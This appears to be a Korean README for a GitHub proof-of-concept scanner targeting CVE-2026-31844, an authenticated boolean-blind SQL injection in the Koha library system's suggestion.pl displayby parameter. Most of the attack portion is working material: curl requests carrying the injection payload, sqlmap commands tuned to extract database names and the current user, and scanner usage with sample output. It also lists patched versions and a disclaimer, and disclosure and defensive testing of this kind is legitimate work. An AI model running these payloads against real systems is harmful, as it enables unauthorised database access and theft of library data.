
# Koha 도서관 관리 시스템용 인증 SQL 인젝션 스캐너 (CVE-2026-31844) 부울 기반 블라인드 기법을 사용하여 취약점을 검증하고 데이터를 추출하는 Koha 도서관 관리 시스템용 인증 SQL 인젝션 스캐너입니다.
이 저장소는 Koha 도서관 관리 시스템의 높은 심각도의 인증된 SQL 인젝션 취약점인 CVE-2026-31844에 대한 책임 있는 취약점 PoC를 포함합니다.
이 취약점은 /cgi-bin/koha/suggestion/suggestion.pl 스크립트에서 호출되는 C4/Search.pm의 GetDistinctValues 함수에 존재합니다. displayby 매개변수를 통해 악용될 수 있습니다.
suggestion.pl 스크립트의 displayby 매개변수는 테이블 한정 열 이름을 구성하는 데 사용되며, 이후 GetDistinctValues 함수에 전달됩니다. 그러나 이 함수는 입력 검증이나 매개변수화를 수행하지 않고 테이블 이름과 열 이름을 직접 원시 SQL 쿼리에 포함시킵니다.
그 결과, 공격자는 displayby 매개변수를 조작하여 악성 SQL 코드를 쿼리에 주입할 수 있습니다. 입력이 SQL 문에 포함되기 전에 검증되지 않으므로, 이 동작은 SQL 인젝션 취약점을 유발하며, 공격자가 데이터베이스에서 임의의 Boolean-Based Blind 기법 SQL 명령을 실행할 수 있게 합니다.
# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );
Raximov Shukrulloh (Mothra)
스캐너는 취약점을 확인하기 위해 Boolean-Based Blind 기법을 사용합니다.
열 이름 위치에 조건문을 주입하여 차등 HTTP 응답을 관찰할 수 있습니다:
IF(1=1, (SELECT 1 UNION SELECT 2), 1) → 하위 쿼리 오류 → HTTP 500IF(1=2, (SELECT 1 UNION SELECT 2), 1) → 유효한 쿼리 → HTTP 200대상이 참 조건에서 500을, 거짓 조건에서 200을 반환하면 취약점이 확인됩니다.
git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner
pip3 install requests
suggestions 권한이 있는 Koha 직원 계정의 유효한 자격 증명을 제공해야 합니다.
python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password
자체 서명된 SSL 인증서를 사용하는 대상의 경우:
python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-31844 — Koha Vulnerability Scanner ║
║ Authenticated SQLi in suggestion.pl (displayby) ║
║ (Responsible Check Only) ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://koha.local:8081
[*] Authenticating to staff interface as 'koha_admin'...
[+] Authentication successful!
============================================================
VULNERABILITY SCAN
============================================================
[*] Testing vulnerability using safe Boolean-blind evaluation...
[1] Testing baseline request (STATUS)... HTTP 200 (OK)
[2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
[3] Testing FALSE condition evaluation... HTTP 200 (OK)
============================================================
[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844
[! ] The target evaluated the SQL conditions and returned differential HTTP codes.
[! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.
curl을 통해 취약점을 수동으로 확인할 수 있습니다. 먼저 Koha 직원 인터페이스에 인증하고 CGISESSID 쿠키를 캡처하세요.
참 조건 (HTTP 500 반환):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"
거짓 조건 (HTTP 200 반환):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"
SQLMap은 boolean-based blind 인젝션을 기본적으로 지원합니다. 데이터 추출을 자동화하려면 유효한 인증 HTTP 요청을 request.txt에 저장하세요. csrf_token 및 CGISESSID 쿠키를 유효하게 유지하세요.
request.txt 예시:
GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0
boolean 기법(--technique=B)으로 SQLMap 실행:
# 기본 데이터베이스 추출
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs
# 현재 사용자 추출
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user
또는 명령줄에서 직접 실행:
sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
--cookie="CGISESSID=your_session_id_here" \
-p displayby \
--dbms=mysql \
--technique=B \
--current-db
잠시 후 sqlmap이 올바른 페이로드를 식별합니다.
패치되지 않은 상태로 방치될 경우, 이 취약점은 인증된 공격자가 다음을 수행할 수 있게 합니다:
이 취약점에 대한 수정이 포함된 Koha 버전 24.11.12, 25.05.07, 25.11.01 또는 26.05.00 (이후 버전 포함)으로 업데이트하세요.
Raximov Shukrulloh (Mothra)
Telegram 봇 @MothraContact_bot
이 PoC는 교육 및 방어 목적으로만 제공됩니다. 시스템의 취약점을 테스트하기 전에 항상 적절한 승인을 받으십시오.
저자는 이 정보의 오용에 대해 책임을 지지 않습니다. 이 PoC는 소유한 시스템 또는 명시적 테스트 허가를 받은 시스템에서만 사용해야 합니다.